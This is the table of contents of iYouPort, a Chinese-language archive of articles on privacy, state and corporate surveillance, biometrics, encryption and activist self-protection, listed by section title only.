IYP 不是过眼云烟的新闻网站，我们提供实战能力，这里是值得您反复回看的档案室。

Iyouport档案室

隐私、安全、调查、心理、运动

Iyouport

IYP 不是过眼云烟的新闻网站，我们提供实战能力，这里是值得您反复回看的档案室。

Iyouport档案室

1. 封面
2. 目录
3. 介绍
4. IYP-隐私保护知识和工具（1）

    1. 你应该了解的现实

        1. “三十五年后，我长大了…：IYP读者为天安门广场起义35周年贡献思考 - iyouport
        2. "如果你不偏执，那就是疯了" - iYouPort
        3. “如果你不偏执，那就是疯了” - iyouport
        4. "我们压根不想要这些程序"：Jill Lepore 指出技术无法拯救民主的衰败 - iYouPort
        5. “我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败 - iyouport
        6. “每家公司都有给警察留的后门”，现在它正在被滥用于监视 - iyouport
        7. “没什么可隐藏的” - 这个愚蠢的反人权论调从何而来？ - iyouport
        8. “社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport
        9. 1200万部电话，一个数据集：利维坦眼中的世界 - iyouport
        10. 3种最佳虚拟借记卡服务：支付中隐藏真实身份 - iYouPort
        11. 5G技术的隐秘军事用途 - iYouPort
        12. 5G躲不开黄貂鱼的监控 - iYouPort
        13. AS3 完美替身：制作假人脸的简单方法 - iyouport
        14. AS43 在Twitter上提高隐私和安全性的7个小技巧 - iyouport
        15. AS57 泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？ - iyouport
        16. Books 条条大路通北京 - iyouport
        17. BT 反垄断？算了吧 …… 巨头公司的律师正排队进

入司法部高层职位 - iyouport
18. Clubhouse 这个价值40亿美元的应用程序，无视隐私权、安全性或可访问性 - iyouport
19. Google文档如何成为反抗运动的媒介取代了社交媒体 - iyouport
20. iPhone 应用程序会通过加速度计泄漏关于您的哪些信息？ - iyouport
21. LR 你的手机如何背叛了民主？ - iyouport
22. LR 单向镜的背后：监视资本家和政府的联手一直在如何折腾你？ - iyouport
23. LR 毒霾 - 监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别 - iyouport
24. LR 让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证 - iyouport
25. P 快递小哥的反抗：收集自己的数据检查算法暴政的剥削 - iyouport
26. R 为什么今天的抗议活动没有导致革命？ - iyouport
27. TS 跟踪即服务：共享按钮意味着什么？ - iyouport
28. 一个愚蠢带来的启示 - iyouport
29. 一个简单的新工具可让您安全地打开电子邮件附件 - iYouPort
30. 一个蜜罐 Pixel 4a 手机 - iyouport
31. 一旦您的影像被监视摄像头捕获，会发生什么？ - iyouport
32. 一系列隐私灾难正在来袭，或许你还没有意识到？ - iYouPort
33. 不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全
34. 世界各地的政府都想要求互联网公司雇佣本地雇员，以方便把人关进监狱 - iyouport
35. 中国已经将智能手机武器化：这就是为什么您应该关注 - iyouport
36. 中国着眼于"自己的加密货币"以维护政府对全民私生活的控制 - iYouPort
37. 为什么你不应该使用Wi-Fi - iyouport
38. 为什么你不应该信任应用程序；以及如何解决这个问题 - iyouport
39. 为什么说马克扎克伯格的 "元宇宙" 是一场反乌托邦的噩梦；互联网作为新的圈地运动 - iyouport

40. 买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事 - iyouport
41. 互联网如何让你失去自由？ - iyouport
42. 亲手铸就的枷锁 - iYouPort
43. 什么是 SS7，据称中国正用它来窥探特朗普的手机？ - iyouport
44. 什么是”黑钱”？解答5个问题 - iyouport
45. 什么是社交媒体情报？你的推特如何成为抓捕你的理由？ - iyouport
46. 什么是高峰冷漠？从白宫到微信 - iyouport
47. 从信息验证到安全防御 - 日常必备的调查工具包 - iYouPort
48. 从沉默到沉默：监视和审查的恶性循环 - iyouport
49. 从沉默到沉默：监视和审查的恶性循环 - iYouPort
50. 以支付宝为例探讨移动支付的数据安全 - iyouport
51. 以隐私为目的的斗争如何让你变成了监视的盟友 - iyouport
52. 你只是寡头们营造的数字种植园里的农奴：改变被奴役的命运 - iyouport
53. 你如何证明你是好人？强行监控社交媒体的含义 - iYouPort
54. 你所有昂贵的电子设备事实上全都是租来的 - iyouport
55. 你正在如何被操纵：这是每个人都难以躲避的无形专制【video】 - iyouport
56. 你的手机如何背叛了民主？ - iyouport
57. 你的手机就是秘密监视设备 — Snowden访谈视频 - iyouport
58. 你的手机知道一切，并且很愿意告诉警察：法律不保护你 - iyouport
59. 你的老板怎么比网警还厉害？ - iyouport
60. 你真的想要思想自由吗？如果是，可以怎么办？ - iyouport
61. 便利的暴政 - iyouport
62. 全球互联网之战才刚刚开始 - iyouport
63. 全球大规模监视的崛起：我们是如何走到这一步田地的？ - iyouport
64. 关于幽灵用户和开裆裤 - iYouPort
65. 冠状病毒危机究竟是否能够结束？：威权主义的权衡 - iyouport

66. 冠状病毒大流行期间，监视状态蓬勃发展 - iyouport
67. 分心（注意力操纵）才是最常见/最邪恶的审查制度 - iyouport
68. 别天真，库克不是上帝 - iYouPort
69. 别让你的孩子深陷1984 - iYouPort
70. 即使数据是匿名的，您的身份仍然可以被识别 - iyouport
71. 又一个被漠视的深渊 - iyouport
72. 反诈中心应用程序危险在哪里？如何抵制？- 审计报告 - iyouport
73. 在没有手机的小世界里享受宁静：这些人如何逃避移动设备的侵扰？ - iYouPort
74. 在线心理测试正在利用你最痛苦的内心赚钱 - iYouPort
75. 地下市场：窃取您的两步验证码的机器人正蓬勃发展 - iyouport
76. 地主2.0：科技的新食利资本主义 - iyouport
77. 好莱坞究竟是亲中还是亲美？ - iYouPort
78. 如今每个打工者都是奴隶 …… 高科技动产奴隶制如何扼杀反抗 - iyouport
79. 如今每个打工者都是奴隶 …… 高科技动产奴隶制如何扼杀反抗 - iYouPort
80. 如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索 - iYouPort
81. 如何喂饱抗议者？- 走进 反叛厨房 - iYouPort
82. 如何开始使用 Kali Linux：2020 - iyouport
83. 如何抵制SIM卡交换攻击 - iyouport
84. 如何挖掘目标人社交关系网？- 连锅端利器 - iYouPort
85. 如何识别抗议活动中可见的和不可见的监视 - iyouport
86. 如何追踪一辆汽车？ - iYouPort
87. 如何通过 Instagram 轻松追踪目标人在城市中的一举一动？ - iyouport
88. 如您所知，Wordle 正在监视您 - iyouport
89. 安装 Kali Linux 之后要做的10件事 - iyouport
90. 封锁言论就能制止仇恨吗？不 - iYouPort
91. 小米正在如何跟踪你？ - - 逆向”快应用”，以及如何防御 - iyouport

92. 巧用互联网，找到您最想要的信息：搜索思维作为基本功 - iyouport
93. 年终礼：在白纸上绘制未来(第5集) - 砸烂闭环 - iyouport
94. 当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 - iyouport
95. 当您准备寻求庇护 …… 移民和难民需要注意的10大威胁 - iyouport
96. 您可能误会了的民粹主义（下）：”真正的公民” - iyouport
97. 您听说过避税天堂；而脱欧后的英国可能成为 "数据天堂" - iYouPort
98. 您并不偏执，您的手机确实在窃听您所说的一切 - iyouport
99. 您正在扫码购物或扫码吃饭吗？要小心！ - iyouport
100. 您的所有个人数据都是政治数据：走向民主之前需要了解的事 - iyouport
101. 您的汽车一直在监视您，现在执法当局有了’车辆取证工具包” - iyouport
102. 我们所有人的未来究竟在哪 - 推荐一本书 - iYouPort %
103. 我们的付出应该获得回报 —— 是时候了，打破监视资本主义的数据经济 Separator 监视资本主义 % Separator iYouPort
104. 手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您 - iyouport
105. 技术的政治权力，和 “社会困境” 的缺陷：访谈 - iyouport
106. 挖掘AI：机器学习训练集中的图像政治 - iyouport
107. 推特骇客报告证实了用于社交媒体审查的工具的存在 - iyouport
108. 摆脱追踪者：您的行动应该是匿名的，否则没有可持续性 - iyouport
109. 政府的压力将透明度报告从言论自由的庆典变成了审查的庆典 - iyouport
110. 政府间谍如何监听并自动识别电话通话中的敏感词? - iyouport
111. 数据匿名化的陷阱 - iyouport
112. 断章取义的视频和歪曲的描述如何挑起对安替法

(Antifa)左翼活动家的仇恨 - iyouport
113. 新10年最有可能发生什么？- 焦虑与期待 - iyouport
114. 新地图显示了不可避免的监视蠕变 - iYouPort
115. 新报告揭露警方大量破解锁定的手机以提取其中一切信息 - iyouport
116. 新法律正在帮助中国政府储备零日漏洞 - iyouport
117. 新的手机间谍软件监视范围包括QQ和微信 - iYouPort
118. 有多少国家禁止或限制使用 VPN？ — — 全球互联网审查分布图：VPN 在你的国家合法吗？
119. 构建技术直觉：生存在数字世界必备的本能 - iyouport
120. 欢迎来到纽约！迎接老大哥 - iYouPort
121. 泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？ - iyouport
122. 活动家如何构建敏感网站并躲避政府和恶意者的追踪监控 - iyouport
123. 深挖 Hacking Team内幕：开源情报演示 - iyouport
124. 演示：对 Elon Musk Bitcoin 诈骗的开源调查 #OSINT - iYouPort
125. 现在开始有必要习惯于堵住您家大门的钥匙孔了 - iyouport
126. 现在是半夜，你知道你的 iPhone 在和谁说话吗？ - iyouport
127. 电视机的阴谋 - iYouPort
128. 看不见的独裁 - iyouport
129. 看不见的黑手：自动化未来的政治 - iyouport
130. 看清物联网的真面目：一项新技术将危险地加速扩大政府对公民的监视 - iYouPort
131. 研究人员提醒，您的旧电话号码可能会让您被黑客入侵 - iyouport
132. 私人监视网络正在崛起吗？这意味着什么 - iYouPort
133. 科技人员说出的最大谎言 - iyouport
134. 秘密空间站 - iYouPort
135. 窃听究竟有多”容易”？ - iyouport
136. 算法殖民：从不知所云的流行语到金钱驱动的流行病 - iyouport

137. 美国人的自我保护：超过一半的人拒绝使用某些电子产品和网络服务 - iYouPort
138. 美国的斯塔西在乌克兰 - iYouPort
139. 聊天机器人的风险 - iyouport
140. 股市现在由计算机、算法和被动管理者运行，这意味着什么？ - iYouPort
141. 脑控技术的争议 - iyouport
142. 被俘虏的城市：为什么人们会接受可怕的军管？ - iYouPort
143. 警察国家的梦想 - iYouPort
144. 警察如何使用 GrayKey 暴力破解 iPhone - iyouport
145. 警察查手机的东西长什么样？—— 从技术角度看移动设备取证 - iyouport
146. 记者10分钟内就挖出了乔·拜登的移动支付账户。这就是为什么每个人的隐私都是噩梦 - iyouport
147. 谁在听？- 您应该小心音频转录服务 - iyouport
148. 谷歌前高级工程师揭示了安卓预装应用中侵犯人权的重磅内幕 - iyouport
149. 谷歌得越多，你知道得越少 - iyouport
150. 跟踪任何手机，在全世界的任何地方：只需要一个手机号 - iyouport
151. 跨国追捕如何变得更加容易？ - iYouPort
152. 这个鲜血淋漓的故事再次提醒：你的熟人中如果有不注重隐私安全的人，其结果是什么 - iyouport
153. 这些使用暗网的人是如何被抓到的？ - iyouport
154. 这些间谍如何把你的照片变成了监视工具？ - iyouport
155. 阶层斗争持久战中的教师 - iYouPort
156. 隐私意识、中国人的态度和通往民主的路障 - iyouport
157. 零日漏洞和 CIA 黑客工具 - iyouport
158. 需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络 - iYouPort
159. 骇客可以关闭卫星，还可以将其变成武器 - iyouport
160. 19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1） - iyouport
161. 准确的情报和判断：基准线 — 在灾难中幸存的方法（2） - iyouport

162. 构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2） - iyouport
163. 柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页 - iyouport
164. 从故事开始：调查不是普通的报道 — 公民调查指南（3） - iyouport
165. （7）如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段 - iyouport
166. 充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7） - iyouport
167. *掌握*人的心理技巧：塑造超强记忆力的方法（8） - iYouPort

2. 监视之恶-关于你可能还不知道的真相

    1. “六行字足够绞死你”，这不是玩笑 —— 监视之恶（五）数据指控 - iyouport
    2. “冰河”已在你心里，这就是他们的目的 —— 监视之恶（三）历史和现实，拆穿谎言 - iyouport
    3. “没什么可隐藏的” - 这个愚蠢的反人权论调从何而来？ - iyouport
    4. “计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上） - iyouport
    5. 1200万部电话，一个数据集：利维坦眼中的世界 - iyouport
    6. Netflix 的 “The Great Hack”是一部愚蠢的误导性纪录片 - iyouport
    7. 一个愚蠢带来的启示 - iyouport
    8. 中国式的反乌托邦在西方 - iyouport
    9. 为什么必需拒绝大数据 —— 监视之恶（二）公私监控伙伴关系 - iyouport
    10. 为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下） - iyouport
    11. 卫星已经开始观察你的每一个动作 - iyouport
    12. 可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途 - iyouport
    13. 您并不偏执，您的手机确实在窃听您所说的一切 - iyouport
    14. 您应该了解的政府监视项目 - iyouport
    15. 持续的监控如何损伤了你的大脑？ - iyouport

16. 政治营销正在努力透射你的大脑 - iyouport
17. 数十个城市实验了”少数派报告”中描述的技术 - iyouport
18. 斯诺登曝光6年后，大规模拦截的现状 - iyouport
19. 牛仔裤的谎言 - iYouPort
20. 独裁者的监视指南 - iyouport
21. 监视简史：从圣经到棱镜 - iyouport
22. 社交媒体破坏民主的证据越来越多 - iyouport
23. 纳粹和你 - iyouport
24. 老大哥并没有一直在看，反而比这更可怕——监视之恶（一）你可能还没完全理解奥威尔 - iyouport
25. 警察国家的梦想 - iYouPort
26. 间谍们痴迷于非法监视环保活动家，他们错过了一名全副武装的右翼恐怖分子 - iYouPort

3. 算法暴政

1. "我们压根不想要这些程序"：Jill Lepore 指出技术无法拯救民主的衰败 - iYouPort
2. “我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败 - iyouport
3. 人类数据库和算法劳工：Facebook 的算法工厂 (第2部) —— 关于数字极权是如何折腾你的
4. 你正在如何被操纵：这是每个人都难以躲避的无形专制【video】 - iyouport
5. 分心（注意力操纵）才是最常见/最邪恶的审查制度 - iyouport
6. 国王们的晚宴 —— 这是一场看不见的政变 - iyouport
7. 国王们的晚宴 —— 这是一场看不见的政变 - iYouPort
8. 媒体巨头和硅谷的武器化算法沉默异议 - iyouport
9. 心理操纵的秘密：”行为经济学”＋PR＝？ - iyouport
10. 技术的政治权力，和 “社会困境” 的缺陷：访谈 - iyouport
11. 看不见的政变 - iYouPort
12. 看不见的独裁 - iyouport
13. 秘密的信用评分算法如何让你陷入贫困：这场反击战即将开启 - iyouport

14. 算法暴政：定制人如何终结民主 - iyouport
15. 算法殖民：从不知所云的流行语到金钱驱动的流行病 - iyouport
16. 非物质劳动和数据收集：Facebook 的算法工厂 (第1部) —— 关于数字极权是如何剥削你的

4. 集中化毁掉互联网自由

1. “我们不能被互联网摧毁” — — 📢新的全球性革命正在拉开序幕，万维网之父重出江湖 - iYouPort
2. LR 政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？ — — 围观 Twitter 活动地图
3. LR 让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证 - iyouport
4. 与其说是互联网的末日，不如说是世界末日更容易理解？ - iyouport
5. 为什么民粹主义蓬勃发展？部分要归罪于今天的技术 - iyouport
6. 互联网上究竟有多少东西是假的？ - iYouPort
7. 互联网失败了吗？我们还能找回最初的公平和自由吗？ - iYouPort
8. 互联网巴尔干化已经是一个非常严重的全球政治问题 - iyouport
9. 互联网究竟是什么？ — — 来自“监视谷”惊人的启示 - iyouport
10. 他们一直在跟踪全球的秘密在线审查 - iYouPort
11. 八大 DNS 服务商控制了 59% 的流行域名解析，集中化令系统危机重重 - iYouPort
12. 去中心化草图 - iYouPort
13. 大型“云”供应商时代的审查制度：集中化毁掉互联网自由 - iyouport
14. 报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因 - iyouport
15. 深陷 matrix - iYouPort
16. 算法暴政：定制人如何终结民主 - iyouport
17. 解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport
18. 请记住：你一直在被社交媒体操纵 - iYouPort
19. 隐性操控：社交媒体平台正在使用与赌博公司相同

的技术只为让你上瘾 - iYouPort

5. 为自由而战系列（完成）

    1. 为自由而战（一）卧室里的坦克——被军事化的互联网人，以及可以怎么办 - iyouport
    2. 创建属于我们自己的国土；推荐非暴力直接行动的终极形式——为自由而战（三） - iyouport
    3. 大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二） - iyouport
    4. 如果技术属于人民呢？ - iyouport
    5. 拒绝所有科技巨头的服务坚持半年，是一种什么样的体验？ - iYouPort
    6. 结束毫无意义的口水和拉锯战，这里是你应该知道的事——为自由而战（四） - iyouport
    7. 维族妇女对战中国的监视国家[videos] - iyouport
    8. 超越高堡奇人：在美中的帝国争霸之上 - iyouport
    9. 这个时代真正的力量究竟是什么？已经有人找到了——为自由而战（五） - iyouport
    10. 阿姆斯特丹领导对监视资本主义的斗争 - iYouPort

6. 洋葱头的斗争（完成）

    1. 使用 Tor 保护自己时千万不要做这九件事！ - iyouport
    2. 如何在你的网页浏览器中使用Tor网络？ - iYouPort
    3. 当搬石头砸脚遇到“运动死亡”——洋葱头会让谁流泪？（一） - iyouport
    4. 是时候品尝洋葱了 - iYouPort
    5. 真的安全吗？那么他们是怎么抓人的？——洋葱头会让谁流泪（三） - iyouport
    6. 让没有技术的人也能使用技术保护自己 - iYouPort
    7. 请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四） - iyouport
    8. 追求正义的人应该加强反侦技巧!——洋葱头会让谁流泪（二） - iyouport

7. 政府的间谍行为

    1. “任何目标，随时随地”：解密文件曝光NSA突击部

队的监视行动 - iyouport
2. “零日漏洞”针对全民间谍行为更加肆无忌惮：新型监视车出台，五百米开往能入侵任何设备 - iyouport
3. [video]官渔之惧 - iYouPort
4. ⚠ 大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证 - iYouPort
5. ⚠“零日漏洞”针对全民间谍行为更加肆无忌惮：新型监视车出台，五百米开往能入侵任何设备 - iYouPort
6. Googleplay 中的政府级恶意软件 - iYouPort
7. IBM和谷歌如何通过中国协助独裁政权的间谍行为？ - iyouport
8. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
9. LR 铁幕之下：全球反抗者如何对战监视者？ - iyouport
10. Supermicro 电路板本身就 Bug 缠身，那么为什么(中国)攻击者还需要植入物呢？ - iyouport
11. Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切
12. 一个受欢迎的聊天应用程序实际上是一个隐秘的间谍工具 - iYouPort
13. 一家沙特网络安全公司试图从我这里购买零日漏洞 - iYouPort
14. 中国成为针对不同政见者骇客攻击领域的新玩家 - iYouPort
15. 中国黑客开发了恶意软件从电信网络中窃取短信 - iYouPort
16. 以色列的间谍软件被发现用来监控国际人权组织员工 - iYouPort
17. 以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群 - iyouport
18. 以谣言为武器？ - iYouPort
19. 你知道哪里有间谍吗？闹钟、树干、婴儿车、墓碑…… 以上都是 - iYouPort
20. 全球暴行的同谋者 - iyouport
21. 前共产国家的今天 - iyouport
22. 合法的大规模间谍 - iYouPort

23. 同一枚硬币的两面 - - 隐私权和言论自由权 - iyouport
24. 在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？ - iyouport
25. 大型连锁酒店如何成为监视国家的武器 - iyouport
26. 大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险 - iYouPort
27. 当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防 - iyouport
28. 当法庭和政府穿一条裤子时… - iYouPort
29. 忘记面部识别吧，智能手机监控你如何行走、如何打字以及”空闲时间都干了什么” - iyouport
30. 执法部门正在大力投资骇客技术，用于攻击他们想要的一切人 - iYouPort
31. 挪威如何使用 NSA 的技术进行潜在的非法间谍活动？ - iYouPort
32. 揭秘：情报机构贿赂技术人员窃取公民个人信息 - iYouPort
33. 政府能否摆脱其在公民身上使用WhatsApp间谍软件的嫌疑？ - iYouPort
34. 政府间谍软件在 Google Play 实现大规模监视 - iYouPort
35. 政府间谍软件监控公民行为举世瞩目，为什么墨西哥当局至今没有调查进展？ - iYouPort
36. 数字焚书和网络维稳：149个国家/地区的互联网监视审查地图 - iyouport
37. 有关以色列恶意软件开发商 NSO 集团的更多丑闻已浮出水面 - iYouPort
38. 杀手：以色列精英军队 - iYouPort
39. 泄露文件：特朗普内幕人士希望向暴政出售社交媒体监视工具 - iYouPort
40. 流亡也没有安全 - iYouPort
41. 独立记者在昂贵的铡刀之下 - iYouPort
42. 监视技术公司实际上 *受益于* 其人权丑闻的曝光 - iyouport
43. 社交媒体情报在加拿大 - iYouPort
44. 网络战：⁉社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iYouPort
45. 网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任 - iYouPort

46. 美国可能禁止无法被破解的端到端加密通信 - iYouPort
47. 美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport
48. 肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中 - iYouPort
49. 自2013年以来，由国家资助的中国黑客一直在瞄准东南亚 - iYouPort
50. 至少30亿社交媒体用户都在受到其政府的监视 - iyouport
51. 被残害的记者 Khashoggi 的沙特朋友起诉以色列监视技术公司 - iYouPort
52. 解密文件展示了刺客的自白，为什么中国人应该警惕？ - iyouport
53. 警告 - 新型政府间谍活动：OAuth Phishing - iYouPort
54. 警告：WhatsApp文本流中的恶意链接 - iYouPort
55. 警察用哪些监视方式瞄准抗议者？ - iyouport
56. 警方可拿走设备上全部数据还让你不知道 — — 这是什么技术？哪个公司提供？ - iyouport
57. 警方滥用老大哥权力迫害公民活动家，如何反击？ - iYouPort
58. 这些间谍如何把你的照片变成了监视工具？ - iyouport
59. 金氏王朝如何使用 “高科技” 抓捕叛逃者 - iYouPort
60. 阻止警察对活动家实施的间谍行为 - iYouPort
61. 雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国 - iyouport
62. 黄貂鱼的崛起 - iYouPort

8. 少数派报告

1. “强行干预”数据库 - iyouport
2. "深夜上网"都会降低你的“社会信用评分”？无人能摆脱这种强制性监视 - iYouPort
3. “社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport
4. 3种最佳虚拟借记卡服务：支付中隐藏真实身份 - iYouPort

    5. AS3 完美替身：制作假人脸的简单方法 - iyouport
    6. R 为什么今天的抗议活动没有导致革命？ - iyouport
    7. TS 跟踪即服务：共享按钮意味着什么？ - iyouport
    8. 一个简单的新工具可让您安全地打开电子邮件附件 - iYouPort
    9. 中国推出”超级监控摄像机”辅助社会信用评分 - iyouport
    10. 从信息验证到安全防御 - 日常必备的调查工具包 - iYouPort
    11. 又一个被漠视的深渊 - iyouport
    12. 如何开始使用 Kali Linux：2020 - iyouport
    13. 如何挖掘目标人社交关系网？- 连锅端利器 - iYouPort
    14. 安装 Kali Linux 之后要做的10件事 - iyouport
    15. 您可能误会了的民粹主义（下）：”真正的公民” - iyouport
    16. 我们所有人的未来究竟在哪 - 推荐一本书 - iYouPort %
    17. 数十个城市实验了”少数派报告”中描述的技术 - iyouport
    18. 监视操纵社会：中国尝试通过社会信用系统改变社会行为 - iYouPort
    19. 胡萝卜：中国当局大举奖励最顺从的公民 - iYouPort
    20. 被俘虏的城市：为什么人们会接受可怕的军管？ - iYouPort
    21. 西方社会距离中国式的”社会信用体系”监控还有多远？ - iyouport
    22. 柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页 - iyouport
    23. *掌握*人的心理技巧：塑造超强记忆力的方法（8） - iYouPort

9. 生物识别-眼下最严重的威胁，以及怎么办

    1. "十年"的阴谋 - iYouPort
    2. 不要脸时代最大的危机是什么？ - iYouPort
    3. 中国、迪拜和意大利的警察正在使用这些监视偷窥扫描路径的任何人 - iyouport

4. 中国公司正在联合国制定全球面部识别标准，这意味着什么？ - iyouport
5. 中国的少数派报告技术又有了新发展 - iyouport
6. 中国的步态识别监视正式铺设："受美国的启发" - iYouPort
7. 为什么要你……远离广告牌!!! - 老大哥来了 - iYouPort
8. 云存储应用 'Ever' 已经武器化你的脸 - iYouPort
9. 亚马逊的阴谋：你知道‘贼’长什么样吗？ - iYouPort
10. 交出你的脸，否则不许乘坐地铁 - iYouPort
11. 人脸识别可以自制，你知道吗？而且非常简单 - iyouport
12. 令人毛骨悚然的生物识别终端 - iYouPort
13. 任何人都可以使用这个功能强大的面部识别工具 - iyouport
14. 你上传的任何照片、视频和音频都在被用来训练AI，再反过来监视你 - iYouPort
15. 你曾经在社交网络上发布过自己的照片？你危险了 - iyouport
16. 你长得像坏蛋吗？ - iYouPort
17. 假面舞会 - iYouPort
18. 偷脸 - iYouPort
19. 全球滥用生物识别技术的前5名国家是谁？ - iyouport
20. 六千万美元的猖狂 - iyouport
21. 冠状病毒使中国的监视状态脱颖而出 - iYouPort
22. 冠状病毒激发了愚弄 “刷脸” 的反监视艺术 - iyouport
23. 别摸东西！[video] - iYouPort
24. 匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？ - iyouport
25. 只要一张照片，陌生人就可以找到您的一切私密信息 - iyouport
26. 哪个国家正在建立全世界最大的面部识别网络之一？ - iyouport
27. 噩梦加深 - iYouPort
28. 因拒绝被监视而被罚款甚至被逮捕 - iYouPort
29. 在2019年，你的纹身可能会让你被捕 - iYouPort
30. 塑料脑袋也行的 - iYouPort

31. 失控的DNA收集实践 - iYouPort
32. 如何使面部识别技术为公民所用？- 开源情报方法 - iyouport
33. 如何对抗面部识别技术？ - iYouPort
34. 如何愚弄自动车牌阅读器？ - iyouport
35. 如何躲避无人机 - 监视时代的须知 - iYouPort
36. 如何通过 Instagram 轻松追踪目标人在城市中的一举一动？ - iyouport
37. 如何阻止AI从您的自拍照中识别出您的脸？ - iyouport
38. 强行收集DNA - iYouPort
39. 强行收集声纹 - iyouport
40. 强行面部识别 - iYouPort
41. 强迫人们用手捂嘴说话的唇读相机：还要疯狂到什么程度？ - iyouport
42. 当你的生物识别数据从系统中泄露时会发生什么？ - iyouport
43. 当政府想要你的 DNA - iYouPort
44. 当权者开始打击彩妆反面部识别的活动家 - iYouPort
45. 当每种生物识别都可以伪造时 - iYouPort
46. 心跳签名：无法遮挡、无法逃避的终极生物识别技术 - iyouport
47. 我们遗落的骨骸 - iyouport
48. 所谓的 “现代化” 是一个超级监视数据库 - iyouport
49. 指纹解锁不安全 - iYouPort
50. 提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*
51. 政府是否应该能够在您的余生中追踪您在屋外的一举一动？ - iyouport
52. 政府间谍如何监听并自动识别电话通话中的敏感词? - iyouport
53. 政治营销正在努力透射你的大脑 - iyouport
54. 数百万照片数据库秘密聚集在美欧以开发面部识别：中国享用了多少？ - iyouport
55. 日本和中国争夺人脸识别霸主地位 - iyouport
56. 欧洲对面部识别和其他中国技术的兴趣正在填补美国缺席的深圳展会 - iyouport
57. 泄漏文件：跨大西洋联合监视网络就要诞生了 - iYouPort

58. 灾难性未来 - iYouPort
59. 示威者反向监视警方：全世界的抗议者正在利用面部识别”抓”便衣警察 - iyouport
60. 禁令可能无效，分析师称面部识别监控将继续存在 - iyouport
61. 禁止面部识别，真的可以吗？ - iYouPort
62. 禁止面部识别可以做到什么、不能做到什么 - iyouport
63. 科技公司正在训练人工智能读懂你的唇语（想说悄悄话时要带上口罩了） - iyouport
64. 给你'整容'，以便符合嫌疑人面部特征 - iYouPort
65. 美国公司如何帮助中国借助 DNA 数据追踪公民 - iyouport
66. 虚拟警察测谎仪：旅行者的新麻烦 - iYouPort
67. 行动主义：时尚界引领反监视斗争 - iyouport
68. 让面部识别失效的思考方式 - iyouport
69. 语音识别的 “诱惑性监控” - iyouport
70. 说谎的眼睛：根植于维多利亚时代面部识别 - iyouport
71. 这些间谍如何把你的照片变成了监视工具？ - iyouport
72. 遮住一半脸没有用：“面部识别”升级版诞生 - iYouPort
73. 遮住脸部成为当今抗议者的首要目标 - iyouport
74. 重新学走路：愚蠢步行法抵制步态识别的兴起 - iyouport
75. 防数据泄漏、防窃听、隐身……监视自卫设计师产品 - iyouport
76. 随着中国加强监视，在教堂中安装了面部识别和指纹扫描 - iYouPort
77. 非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家 - iYouPort
78. 面向大众的 “面部识别” 技术：Yandex - iyouport
79. 面部识别程序在识别蒙面面孔方面的效果正变得越来越 “好” - iyouport
80. 香港的抗议活动中再次强调了你的脸如何成为武器 - iyouport

10. 加密和反加密之战

1. 中国的信息控制如何导致网络薄弱？ - iyouport
2. 中国的新 “密码法”如何终结了加密 - iyouport
3. 关于幽灵用户和开裆裤 - iYouPort
4. 反加密的战争正在升级：美国、英国和澳大利亚政府说"我们要后门" - iYouPort
5. 美国可能禁止无法被破解的端到端加密通信 - iYouPort

11. 完美隐身（完成）

1. 如何做到完美隐身：直面你的对手 - 6大原则（1） - iyouport
2. 如何做到完美隐身：追踪者的手段和你的弱点（2） - iyouport
3. 如何做到完美隐身：思考方式是战略性的（3） - iyouport
4. 如何做到完美隐身：技术增值部分 - 最简单的分身方法（4） - iyouport
5. 如何做到完美隐身：清扫和清点 - 信息篡改的重要步骤（5） - iyouport
6. 如何做到完美隐身：令人兴奋的心理过招（6） - iyouport
7. 如何做到完美隐身：扫荡危险区域（7） - iyouport

12. 难以被追踪（完成）

1. 在不自由中创造自己的自由：变得难以被追踪的简单方法（1） - iyouport
2. 与S先生共度美好一天 - 反取证技巧：变得难以被追踪的简单方法（3） - iyouport
3. 保持零信任：变得难以被追踪的简单方法（4） - iyouport
